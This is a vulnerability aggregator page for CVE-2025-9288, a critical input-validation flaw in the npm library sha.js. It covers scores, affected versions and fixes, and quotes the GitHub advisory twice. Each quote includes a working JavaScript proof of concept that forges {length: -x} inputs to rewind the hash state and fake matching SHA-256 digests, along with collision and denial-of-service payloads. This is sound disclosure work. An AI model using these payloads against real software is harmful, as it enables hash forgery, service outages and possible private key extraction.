CVE-2025-9288
Missing type checks leading to hash rewind and passing on crafted data
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.1
Missing type checks leading to hash rewind and passing on crafted data
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
CVE-2025-9288- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2025-25403
9.1
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
EUVD-2025-25403- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-95m3-7q98-8xr5
9.1
sha.js is missing type checks leading to hash rewind and passing on crafted data
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
- Record
GHSA-95m3-7q98-8xr5- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
9.1
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
CVE-2025-9288- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
9.1
Missing type checks leading to hash rewind and passing on crafted data
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
CVE-2025-9288- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-9288
9.1
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
DEBIAN-CVE-2025-9288- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-95m3-7q98-8xr5
9.1
sha.js is missing type checks leading to hash rewind and passing on crafted data
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
- Record
GHSA-95m3-7q98-8xr5- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-9288
9.1
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
UBUNTU-CVE-2025-9288- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVAZL-66570 No score
CVE-2025-9288 affecting package reaper 3.1.1-22
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
- Record
AZL-66570- Updated
- 2026-11-02
OSVCLSA-2026-1792490356 No score
TuxCare security update for sha.js (1 CVE)
TuxCare rebuilt sha.js to address 1 CVE. Fixed in 2.2.6-tuxcare.1.
- Record
CLSA-2026-1792490356- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-9288 No score
CVE-2025-9288 in @rootio/sha.js - Patched by Root
Root has patched CVE-2025-9288 in the @rootio/sha.js package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-9288- Updated
- 2026-11-02
OSVUSN-7778-1 No score
node-sha.js vulnerability
Nikita Skovoroda discovered that sha.js did not properly handle certain inputs. An attacker could possibly use this issue to manipulate the internal state of hash functions, resulting in hash collisions, denial of service, or other unspecified impact.
- Record
USN-7778-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
sha.jsnpm |
through 2.4.11 | 2.4.12 |
reaperAzure Linux:2 |
through 3.1.1-22 | None known |
sha.jsTuxCare:npm |
2.2.6-tuxcare.0 up to 2.2.6-tuxcare.1, plus listed versions 2.2.6 |
2.2.6-tuxcare.1 |
node-sha.jsDebian:12 |
before 2.4.11+~2.4.0-2+deb12u1, plus listed versions 2.4.11+~2.4.0-2 |
2.4.11+~2.4.0-2+deb12u1 |
node-sha.jsDebian:13 |
before 2.4.11+~2.4.0-2+deb13u1, plus listed versions 2.4.11+~2.4.0-2 |
2.4.11+~2.4.0-2+deb13u1 |
node-sha.jsDebian:14 |
before 2.4.12+~3.0.5-1, plus listed versions 2.4.11+~2.4.0-2 |
2.4.12+~3.0.5-1 |
node-sha.jsDebian:11 |
before 2.4.11-2+deb11u1, plus listed versions 2.4.11-2 |
2.4.11-2+deb11u1 |
sha.jsnpm |
before 2.4.12 | 2.4.12 |
@rootio/sha.jsRoot:npm |
before 2.4.11-root.io.1 | 2.4.11-root.io.12.4.11-root.io.2 |
sha.jsRoot:npm |
before 2.4.11-aikido.2 | 2.4.11-aikido.2 |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-sha.jsUbuntu:Pro:18.04:LTS |
before 2.4.9-1ubuntu0.1~esm1, plus listed versions 2.4.8-12.4.9-1 |
2.4.9-1ubuntu0.1~esm1 |
node-sha.jsUbuntu:Pro:20.04:LTS |
before 2.4.11-2ubuntu0.1~esm1, plus listed versions 2.4.11-2 |
2.4.11-2ubuntu0.1~esm1 |
node-sha.jsUbuntu:22.04:LTS |
before 2.4.11+~2.4.0-1ubuntu0.1, plus listed versions 2.4.11-22.4.11+~2.4.0-1 |
2.4.11+~2.4.0-1ubuntu0.1 |
node-sha.jsUbuntu:24.04:LTS |
before 2.4.11+~2.4.0-2+deb13u1build0.24.04.1, plus listed versions 2.4.11+~2.4.0-2 |
2.4.11+~2.4.0-2+deb13u1build0.24.04.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-9288 is a critical vulnerability (CVSS 9.1) in Browserify Sha.js, published August 20, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.74%, the 54th percentile. Fixed in sha.js 2.4.12.
References
github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
github.com/browserify/sha.js/pull/78
cve.org/CVERecord?id=CVE-2025-9287
lists.debian.org/debian-lts-announce/2025/09/msg00016.html
nvd.nist.gov/vuln/detail/CVE-2025-9288
github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5
Show 8 moreShow less
github.com/advisories/GHSA-95m3-7q98-8xr5
npmjs.com/sha.js
github.com/CVEProject/cvelistV5/tree/main/cves/2025/9xxx/CVE-2025-9288.json
github.com/browserify/sha.js
security-tracker.debian.org/tracker/CVE-2025-9288
ubuntu.com/security/CVE-2025-9288
cve.org/CVERecord?id=CVE-2025-9288
ubuntu.com/security/notices/USN-7778-1